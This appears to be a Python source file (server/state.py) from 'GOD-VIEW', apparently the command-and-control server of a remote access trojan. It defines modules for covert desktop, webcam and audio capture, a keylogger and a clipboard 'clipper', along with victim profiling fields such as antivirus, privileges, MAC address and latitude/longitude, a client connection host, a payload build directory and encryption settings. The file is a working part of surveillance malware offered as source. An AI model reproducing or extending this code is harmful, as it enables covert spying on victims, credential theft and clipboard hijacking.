summaryrefslogtreecommitdiff
path: root/server/state.py
blob: fe2e81268533ad776b036f76cf8ac04f914a88c4 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
'''
    Server sided global state, variables for
    cross-file communication & accessability.
    Handles the argument parser along with
    other initial variables for the program
    to run.

    Verified: 2021 February 4 & 2021 February 8
    * Follows PEP8
    * Tested platforms
        * Windows 10

    CONSTANT : Settings dependence for
    HTTP, ACTION, CONSOLE & TRACEBACK.

    CONSTANT : GUI_PAGE is dependant
    on the filename of the GUI.
'''

from shared.state import Static

import argparse
import os


class ServerStatic:

    NAME          = 'GOD-VIEW'
    ARG_SEPARATOR = '--'
    SEPERATOR     = '->'
    LOADING       = 'Loading...'
    LOADING_AMID  = '...'

    WEB_GUI       = False
    TERMINAL      = False
    GUI_PORT      = 8565

    WINDOW_SIZE   = (1280, 720)
    TOKEN_TIMEOUT = 15
    PING_INTERVAL = 10
    UUID_LENGTH   = 4

    UNIVERSAL     = []
    SESSION       = []
    HELP          = []

    HTTP          = 'HTTP_LOG'
    ACTION        = 'ACTION_LOG'
    CONSOLE       = 'CONSOLE_LOG'
    TRACEBACK     = 'TRACEBACK_LOG'

    HOST          = f'tcp://{Static.IP}:{Static.PORT}'

    DESKTOP      = 'bb99d70e-aabe-4d5c-81cb-977dc0002d15'
    WEBCAM       = 'ea1331e2-8b5f-4e5b-b968-08b4ef953933'
    AUDIO        = '472371e9-72af-41f2-a099-d7111364c08c'
    KEYLOGGER    = 'e0f11b43-788b-4808-9005-48ebc4d53508'
    CLIPPER      = 'ee78cef3-adf5-42c2-a426-140cff586c1b'

    CATEGORIES  = (('Country', 'country'),
                   ('Connect IP', 'connect_ip'),
                   ('Username', 'username'),
                   ('Hostname', 'hostname'),
                   ('Privileges', 'privileges'),
                   ('Antivirus', 'antivirus'),
                   ('Operating System', 'operating_system'),
                   ('CPU', 'cpu'),
                   ('GPU', 'gpu'),
                   ('RAM', 'ram'),
                   ('Filepath', 'filepath'),
                   ('Initial Connect', 'initial_connect'),
                   ('Running', 'running'),
                   ('Build Name', 'build_name'),
                   ('Build Version', 'build_version'),
                   ('OS Version', 'os_version'),
                   ('System Locale', 'system_locale'),
                   ('System Uptime', 'system_uptime'),
                   ('PC Manufacturer', 'pc_manufacturer'),
                   ('PC Model', 'pc_model'),
                   ('MAC Address', 'mac_address'),
                   ('External IP', 'external_ip'),
                   ('Local IP', 'local_ip'),
                   ('Timezone', 'timezone'),
                   ('Country Code', 'country_code'),
                   ('Region', 'region'),
                   ('~City', 'city'),
                   ('~Zip Code', 'zip_code'),
                   ('~Latitude', 'latitude'),
                   ('~Longitude', 'longitude'))

    @classmethod
    def setup(cls):
        for key, value in Args().dict.items():
            if hasattr(Static, key):
                setattr(Static, key, value)
            else:
                setattr(cls, key, value)

        if not cls.TERMINAL:
            cls.GUI_HELP = {}
            cls.GUI_PAGE = 'index.html'
            cls.GUI_HOST = f'http://{Static.IP}:{cls.GUI_PORT}'
            cls.GUI_DIR = os.path.join(Static.ROOT_DIR, 'gui')

        cls.BUILD_DIR = os.path.join(Static.ROOT_DIR, 'exe')
        cls.ARCHIVE_DIR = os.path.join(Static.ROOT_DIR, 'archive')
        cls.LOGS_DIR = os.path.join(cls.ARCHIVE_DIR, 'history')


class Dynamic:

    RESULT   = None
    MESSAGES = []
    CLIENTS  = {}
    SESSION  = set()
    TOKENS   = {}
    MODULES  = {}


class Args:

    __ARG_PREFIX = '-'
    __ARGS = (
        ('IP', {
            'help': f'Host IP ({Static.IP})',
            'default': Static.IP
        }),
        ('PORT', {
            'help': f'Host Port ({Static.PORT})',
            'type': int,
            'default': Static.PORT
        }),
        ('GUI_PORT', {
            'help': f'Desktop & Web GUI Host Port ({ServerStatic.GUI_PORT})',
            'type': int,
            'default': ServerStatic.GUI_PORT
        }),
        (
            ('WEB_GUI', {
                'help': f'Only Terminal & Web GUI ({ServerStatic.WEB_GUI})',
                'action': 'store_true'
            }),
            ('TERMINAL', {
                'help': f'Only Terminal ({ServerStatic.TERMINAL})',
                'action': 'store_true'
            })
        ),
        ('SECRET', {
            'help': f'Encryption Secret ({Static.SECRET})',
            'default': Static.SECRET
        }),
        ('SALT', {
            'help': f'Encryption Salt ({Static.SALT})',
            'default': Static.SALT
        }))

    def __init__(self):
        parser = argparse.ArgumentParser()

        for item in Args.__ARGS:
            if type(item[0]) is tuple:
                group = parser.add_mutually_exclusive_group()

                for key, value in item:
                    group.add_argument(Args.__ARG_PREFIX + key, **value)
            else:
                parser.add_argument(Args.__ARG_PREFIX + item[0], **item[1])

        self.__dict = vars(parser.parse_args())

    @property
    def dict(self):
        return self.__dict